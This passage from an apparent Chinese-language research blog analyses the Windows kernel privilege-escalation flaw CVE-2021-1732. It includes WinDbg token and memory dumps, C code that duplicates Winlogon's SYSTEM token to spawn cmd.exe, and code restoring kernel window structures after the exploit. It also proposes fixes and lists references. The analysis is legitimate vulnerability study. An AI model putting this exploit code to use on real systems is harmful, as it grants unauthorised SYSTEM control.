Attributes - Mandatory Default Enabled
05 S-1-5-32-545
Attributes - Mandatory Default Enabled
06 S-1-5-4
Attributes - Mandatory Default Enabled
07 S-1-2-1
Attributes - Mandatory Default Enabled
08 S-1-5-11
Attributes - Mandatory Default Enabled
09 S-1-5-15
Attributes - Mandatory Default Enabled
10 S-1-5-113
Attributes - Mandatory Default Enabled
11 S-1-5-5-0-151792
Attributes - Mandatory Default Enabled LogonId
12 S-1-2-0
Attributes - Mandatory Default Enabled
13 S-1-5-64-10
Attributes - Mandatory Default Enabled
14 S-1-16-8192
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-21-565062453-3133431090-1700854632-513
Privs:
00 0x000000000 Unknown Privilege Attributes - Enabled
01 0x000000001 Unknown Privilege Attributes - Enabled
02 0x000000002 SeCreateTokenPrivilege Attributes - Enabled
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes - Enabled
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled
05 0x000000005 SeIncreaseQuotaPrivilege Attributes - Enabled
06 0x000000006 SeMachineAccountPrivilege Attributes - Enabled
07 0x000000007 SeTcbPrivilege Attributes - Enabled
08 0x000000008 SeSecurityPrivilege Attributes - Enabled
09 0x000000009 SeTakeOwnershipPrivilege Attributes - Enabled
10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled
12 0x00000000c SeSystemtimePrivilege Attributes - Enabled
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled
17 0x000000011 SeBackupPrivilege Attributes - Enabled
18 0x000000012 SeRestorePrivilege Attributes - Enabled
19 0x000000013 SeShutdownPrivilege Attributes - Enabled
20 0x000000014 SeDebugPrivilege Attributes - Enabled
21 0x000000015 SeAuditPrivilege Attributes - Enabled
22 0x000000016 SeSystemEnvironmentPrivilege Attributes - Enabled
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
24 0x000000018 SeRemoteShutdownPrivilege Attributes - Enabled
25 0x000000019 SeUndockPrivilege Attributes - Enabled
26 0x00000001a SeSyncAgentPrivilege Attributes - Enabled
27 0x00000001b SeEnableDelegationPrivilege Attributes - Enabled
28 0x00000001c SeManageVolumePrivilege Attributes - Enabled
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes - Enabled
32 0x000000020 SeRelabelPrivilege Attributes - Enabled
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled
36 0x000000024 SeDelegateSessionUserImpersonatePrivilege Attributes - Enabled
37 0x000000025 Unknown Privilege Attributes - Enabled
38 0x000000026 Unknown Privilege Attributes - Enabled
39 0x000000027 Unknown Privilege Attributes - Enabled
40 0x000000028 Unknown Privilege Attributes - Enabled
41 0x000000029 Unknown Privilege Attributes - Enabled
42 0x00000002a Unknown Privilege Attributes - Enabled
43 0x00000002b Unknown Privilege Attributes - Enabled
44 0x00000002c Unknown Privilege Attributes - Enabled
45 0x00000002d Unknown Privilege Attributes - Enabled
46 0x00000002e Unknown Privilege Attributes - Enabled
47 0x00000002f Unknown Privilege Attributes - Enabled
48 0x000000030 Unknown Privilege Attributes - Enabled
49 0x000000031 Unknown Privilege Attributes - Enabled
50 0x000000032 Unknown Privilege Attributes - Enabled
51 0x000000033 Unknown Privilege Attributes - Enabled
52 0x000000034 Unknown Privilege Attributes - Enabled
53 0x000000035 Unknown Privilege Attributes - Enabled
54 0x000000036 Unknown Privilege Attributes - Enabled
55 0x000000037 Unknown Privilege Attributes - Enabled
56 0x000000038 Unknown Privilege Attributes - Enabled
57 0x000000039 Unknown Privilege Attributes - Enabled
58 0x00000003a Unknown Privilege Attributes - Enabled
59 0x00000003b Unknown Privilege Attributes - Enabled
60 0x00000003c Unknown Privilege Attributes - Enabled
61 0x00000003d Unknown Privilege Attributes - Enabled
62 0x00000003e Unknown Privilege Attributes - Enabled
63 0x00000003f Unknown Privilege Attributes - Enabled
Authentication ID: (0,25ab4)
Impersonation Level: Anonymous
TokenType: Primary
Source: User32 TokenFlags: 0x2a00 ( Token in use )
Token ID: 10339a ParentToken ID: 0
Modified ID: (0, 25acb)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 3e7
PackageSid: (null)
CapabilityCount: 0 Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Unable to get the offset of nt!_AUTHZBASEP_SECURITY_ATTRIBUTE.ListLink
Process Token TrustLevelSid: (null)
- 查看上述执行代码的赋值情况
0: kd> dqs ffff9a8ee9505060+40
ffff9a8e`e95050a0 ffffffff`ffffffff <===这里
ffff9a8e`e95050a8 ffffffff`ffffffff <===这里
ffff9a8e`e95050b0 00000000`40800000
ffff9a8e`e95050b8 00000000`00000000
ffff9a8e`e95050c0 00000000`00000000
ffff9a8e`e95050c8 00000000`00000000
ffff9a8e`e95050d0 00010000`00000000
ffff9a8e`e95050d8 00000010`00000001
ffff9a8e`e95050e0 00000104`00000000
ffff9a8e`e95050e8 00000000`00001000
ffff9a8e`e95050f0 00000000`00000000
ffff9a8e`e95050f8 ffff9a8e`e95054f0
ffff9a8e`e9505100 00000000`00000000
ffff9a8e`e9505108 ffff9a8e`e5d1c5b0
ffff9a8e`e9505110 ffff9a8e`e5d1c5b0
ffff9a8e`e9505118 ffff9a8e`e5d1c5cc
0: kd> dqs ffff9a8ee9505060+498+30
ffff9a8e`e9505528 00000000`00000007 <===这里
ffff9a8e`e9505530 ffff9a8e`e6983cd8
ffff9a8e`e9505538 00000000`0000000f <===这里
ffff9a8e`e9505540 ffff9a8e`e6983ce8
ffff9a8e`e9505548 00000000`00000007
ffff9a8e`e9505550 ffff9a8e`e6983cf8
ffff9a8e`e9505558 00000000`00000007
ffff9a8e`e9505560 ffff9a8e`e6983d08
ffff9a8e`e9505568 00000000`00000007
ffff9a8e`e9505570 ffff9a8e`e6983d14
ffff9a8e`e9505578 00000000`00000007
ffff9a8e`e9505580 ffff9a8e`e6983d20
ffff9a8e`e9505588 00000000`00000007
ffff9a8e`e9505590 ffff9a8e`e6983d2c
ffff9a8e`e9505598 00000000`00000007
ffff9a8e`e95055a0 ffff9a8e`e6983d38
- 所以根据分析,我们只需要将这里上述的地址覆盖成规定数据即可进行提权。
- 太菜了,希望早日找到/分析出实现的原理
这里给出一下system进程的Token的情况:
1: kd> !token ffff9a8ee2207040
_TOKEN 0xffff9a8ee2207040
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
07 0x000000007 SeTcbPrivilege Attributes - Enabled Default
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled Default
21 0x000000015 SeAuditPrivilege Attributes - Enabled Default
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes -
32 0x000000020 SeRelabelPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
36 0x000000024 SeDelegateSessionUserImpersonatePrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3eb ParentToken ID: 0
Modified ID: (0, 3ec)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
PackageSid: (null)
CapabilityCount: 0 Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Invalid AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION with no claims
Process Token TrustLevelSid: S-1-19-1024-8192
1: kd> dqs ffff9a8ee2207040+0x498+30
ffff9a8e`e2207508 fe418dc0`00000007 <==这是我们修改的地址
ffff9a8e`e2207510 ffff9a8e`e2227370
ffff9a8e`e2207518 fe414db0`00000060 <==这是我们修改的地址
ffff9a8e`e2207520 fe4eebb0`fdfd59c0
ffff9a8e`e2207528 fdf0dc40`fdfb5050
ffff9a8e`e2207530 fdf8bce0`fde328d0
ffff9a8e`e2207538 fde6f9b0`fde40260
ffff9a8e`e2207540 9b640685`98ef512a
ffff9a8e`e2207548 ffff9a8e`e2662b88
ffff9a8e`e2207550 ffff9a8e`e27daf08
ffff9a8e`e2207558 ffff9a8e`e2255ee9
ffff9a8e`e2207560 00000000`80040001
ffff9a8e`e2207568 00000000`00000000
ffff9a8e`e2207570 00240002`00000014
ffff9a8e`e2207578 00180000`00000001
ffff9a8e`e2207580 00000201`001f0003
1: kd> dqs ffff9a8ee2207040+0x40
ffff9a8e`e2207080 0000001f`f2ffffbc <==这是我们修改的地址
ffff9a8e`e2207088 0000001e`60b1e890 <==这是我们修改的地址
ffff9a8e`e2207090 0000001e`60b1e890
ffff9a8e`e2207098 00000000`00000000
ffff9a8e`e22070a0 00000000`00000000
ffff9a8e`e22070a8 00000000`00000000
ffff9a8e`e22070b0 ff000000`00000000
ffff9a8e`e22070b8 00000005`00000000
ffff9a8e`e22070c0 00000050`00000000
ffff9a8e`e22070c8 00000000`00001000
ffff9a8e`e22070d0 ffc356f0`00000001
ffff9a8e`e22070d8 ffff9a8e`e22074d0
ffff9a8e`e22070e0 00000000`00000000
ffff9a8e`e22070e8 ffff9a8e`e2214a80
ffff9a8e`e22070f0 ffff9a8e`e2214a80
ffff9a8e`e22070f8 ffff9a8e`e2214a8c
所以这里是否可以直接将system
权限的所有数据copy
一份移植到我们的进程中即可实现提权呢?覆盖的范围又是多少呢?关于这里的试验我们可以直接windbg
赋值即可testing
六、创建一个拷贝本进程Token的cmd进程
BOOL GetProIDByName(PCWCHAR ImageName, ULONG_PTR* ProcIDPtr)
{
HANDLE hSnapshot = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return FALSE;
pe32.dwSize = sizeof(pe32);
if (Process32First(hSnapshot, &pe32))
{
do {
if (lstrcmpi(ImageName, pe32.szExeFile) == 0)
{
CloseHandle(hSnapshot);
*ProcIDPtr = pe32.th32ProcessID;
return TRUE;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return FALSE;
}
VOID CreateEopProc() {
HANDLE hProc;
HANDLE hToken;
HANDLE hEopToken;
ULONG_PTR ulWinlogonPID = 0;
if (!GetProIDByName(L"Winlogon.exe", &ulWinlogonPID) || !ulWinlogonPID)
return;
hProc = OpenProcess(
PROCESS_QUERY_INFORMATION,
FALSE,
ulWinlogonPID );
OpenProcessToken(
hProc,
TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
&hToken);
SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
TOKEN_TYPE tokenType = TokenPrimary;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &hEopToken))
return;
/* Starts a new process with SYSTEM token */
STARTUPINFOW si = {};
PROCESS_INFORMATION pi = {};
CreateProcessWithTokenW(
hEopToken,
LOGON_NETCREDENTIALS_ONLY,
L"C:\\Windows\\System32\\cmd.exe",
NULL,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
}
七、恢复环境
只要将所有我们使用SetWindowLong/SetWindowLongStr修改过的数据还原即可
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF - 0x40); //这里是查看相邻窗口tagWNDk的flag的值
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
//这里读取相邻窗口上的flag数据(准备被删除0x800属性)
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800);
//删除相邻窗口的flag的0x800属性
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_REL_VALUE_OFF, 0);
// 将相邻窗口的扩展内存设置为0
SetWindowLongPtr(hTargetWnd, ulTagWndBodySize + TAGWND_BODY_EXTRA_SIZE_OFF, 0x100 );
//相邻窗口开始定义窗口的cbWndExtra
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_EXTRA_SIZE_OFF, 0x100);
//目标窗口开始定义窗口的cbWndExtra
{
ULONG_PTR ulWndOffset = 0x0;
ULONG_PTR ulValue = 0x0;
ulWndOffset = GetWndObjOffset((ULONG_PTR)hTargetWnd);
pFakeItems[0] = (ULONG_PTR)(ulDesktopHeapBase + ulWndOffset + TAGWND_BODY_REL_FLAG_OFF - 0x40);
ulValue = 0;
ulValue = ReadPrimitive(hTargetWnd);
//这里读取到目标窗口上的flag数据(准备被删除0x800属性)
SetWindowLongPtr(hTargetWnd, GWLP_ID, 0x0);
// 将目标窗口载入的Spmenu设置为0
SetWindowLong(hTargetWnd, TAGWND_BODY_STYLE_OFF, 0x04c00000);
// 将目标窗口中的style设置回0x04c00000(虽然前面已经复原了,但是谁知道会不会被改了)
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_REL_FLAG_OFF, ulValue & ~0x800);
// 将目标窗口中的flag删除0x800属性
SetWindowLongPtr(hTargetWnd, TAGWND_BODY_REL_VALUE_OFF, 0);
// 将目标窗口的扩展内存设置为0
}
0x06 个人修复方案见解
在上述CVE中的可修复方案我觉得可以两选一:
- xxxClientAllocWindowClassExtraBytes不回调用户态(但是需要创建一个用户堆,所以很难实现)
- 为tagWND设置一个新的结构体成员提供给“NtUserConsoleControl设置flag|0x800”这个功能生成一个新的成员调用
0x07 从文章中能学到的知识点
- 最新型Sprayhandler获取窗口句柄利用手法
- 利用HookLib.lib库进行内核NtCallbackReturn Hook利用
- 采用DataOnlyAttack的方式替换了当前进程的Token流程及一点原理
- 上述利用手法中有很多读写仍然可以调用(但是由于上述API大部分都是调用tagWND作为句柄作关联操作(实际就是读/写tagWND结构体作为联系),所以上述仍然可以利用的大部分利用手法仅仅局限于Win32k)
- 在未知结构体情况下通过已知的一定信息通过
反汇编出来的代码+断点
拿到更多的信息 - 在未知结构体的成员结构偏移时,可以通过动态调试传入参数监控结构体空间数据确定位置
- 从内核态动态编写
test~
通过动态调试传入参数监控结构体空间数据分析tagWND
各个成员地址 - 从内核态分析了
GetMenuBarInfo()
进行任意地址读取的原理 - 从内核态分析了
SetWindowLong/SetWindowLongStr
进行任意地址写入的原理 - 如何在修改内核结构体帮助漏洞利用情况下修复内核结构体内容防止蓝屏
- 使用HMValidateHandle泄露句柄在用户层地址
- windbg寻找各个内核结构体定义
个人感受
每一个windows内核0day都是一个非常复杂的调试流程,Exploit作者都是根据自己积累足够多的经验抓住灵光一逝的思路然后耐心的一步一步调试一次次蓝屏、一点点反复查看内存空间差异来开展编写工作的,所以我十分之佩服他们,也甘愿加入这个群体。
学习内核难在何处?windows不同版本更新下的结构体修改,一步一步编写分析进程对照内存空间分析,资料的断代,利用手法的创新,这些都是我们需要克服的困难。
由于这是本人第一次分析这种比较复杂的且缺少分析资料的内核CVE,有什么有趣的成果也是靠时间熬出来的,我是菜狗QAQ理解一下。
这篇文章各个点在我能力范围内已经事无巨细的都分析了一遍,由于我这种野生没有团队的帮助的研究员,身边也没有人能帮助我的情况下,我能收集到的知识库基本已经被榨干了,实在是没办法进一步分析。而且时间跨度太大,如果漏挖这条路真的走不通的话,我也要开始着重点走样本了,不过我会将漏挖当作副业一直走下去的。
本次分析耗费了本人很多时间和精力,希望大家能多多帮我宣传,感谢感谢!!
参考链接:
- 深入剖析CVE-2021-1732漏洞
- CVE-2021-1732 Windows10 本地提权漏洞复现及详细分析
- CVE-2021-1732 漏洞分析和利用
- CVE-2021-1732: win32kfull xxxCreateWindowEx callback out-of-bounds
- Microsoft Windows本地提权漏洞(CVE-2021-1732)
- [原创]CVE-2021-1732 Microsoft Windows10 本地提权漏 研究及Exploit开发
- 0DAY攻击!首次发现蔓灵花组织在针对国内的攻击活动中使用WINDOWS内核提权0DAY漏洞(CVE-2021-1732)
- [CVE-2021-1732] win32k内核提权漏洞分析